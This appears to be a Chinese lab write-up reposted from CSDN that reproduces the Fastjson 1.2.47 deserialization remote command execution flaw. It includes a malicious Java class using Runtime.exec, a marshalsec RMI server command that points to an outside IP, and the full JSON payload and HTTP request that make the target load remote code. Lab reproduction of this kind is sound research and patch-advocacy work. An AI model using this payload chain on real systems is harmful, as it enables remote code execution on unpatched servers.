Fastjson 1.2.47 远程命令执行漏洞复现记录分享

Fastjson 1.2.47 远程命令执行漏洞复现

前言

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
因此在这里建议请及时更新至最新版本!
本文仅限技术分享,严禁用于非法用途,否则产生的一切后果自行承担。

环境要求

  • 一台靶机(被攻击方)
  • 一台VPS(用来挂载需要远程执行的class)
  • 一台能发送请求的机器(攻击机)

环境准备

靶机

这里靶机直接使用vulhub一键搭建测试靶场,或者自己搭建测试web项目作为靶机,要求为FastJson < 1.2.48(如果目前你的生产环境是处于该版本范围内,请及时升级)。

我们这里为了方便直接使用vulhub一键搭建,具体使用方法查看vulhub官方文档:vulhub

找到对应的文件夹执行一键搭建
docker-compose up -d

等待数分钟完成后进入docker内部环境
先查找任务
docker ps
在这里插入图片描述
可见服务已经运行在8090端口。
通过下面指令进入docker容器
docker exec -t -i 7d852b41f896 /bin/bash
进入docker容器
可以看到,在容器内 tmp文件夹里只有这三项,那么我们的目的就是通过fastjson漏洞,再加一个文件夹进去

到这里靶机环境已经准备就绪,接下来我们准备一台虚拟主机来挂载我们需要远程执行的恶意class。

VPS

首先vps需要java环境以及安装maven等程序,安装方式就不在这里做介绍了。自行百度
在这里本台虚拟主机的目的是编译一个恶意class,然后开启rmi服务(或ldap服务)
我们这里使用marshalsec快速开启rmi或ldap服务
下面是github地址:marshalsec

进入marshalsec根目录。使用maven编译该项目
mvn clean package -DskipTests
编译完之后进入target文件夹,发现多了两个jar包
在这里插入图片描述
我们顺便写个需要执行的文件进去,写好一个java文件丢进去编译成class即可。
下面贴上这次实例代码

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    
    
    static {
    
    
        try {
    
    
            Runtime rt = Runtime.getRuntime();
            String[] commands = {
    
    "touch", "/tmp/llwtestsuccess"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
    
    
            // do nothing
        }
    }
}

这个执行很简单就不用解释了。上传到虚拟主机上用javac编译一下可以得到一个TouchFile.class

借助marshalsec快速开启rmi或ldap服务,这里我们监听9001端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://49.234.6.171:8088/#TouchFile" 9001

在这里插入图片描述
到这里虚拟主机也准备好了

漏洞复现

通过攻击机向靶场发送payload

{
    
    
    "a":{
    
    
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
    
    
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://49.234.6.171:9001/TouchFile",
        "autoCommit":true
    }
}

在这里插入图片描述

POST / HTTP/1.1
Host: 192.168.27.222:8090
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 268
Content-Type: application/json

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://49.234.6.171:9001/TouchFile",
        "autoCommit":true
    }
}

请求完毕,查看一下靶机内tmp目录
对比
上下对比可以看出恶意执行class成功。成功创建
看一看虚拟主机中rmi服务的日志

在这里插入图片描述
复现成功。

猜你喜欢

转载自blog.csdn.net/qq_35361412/article/details/107383366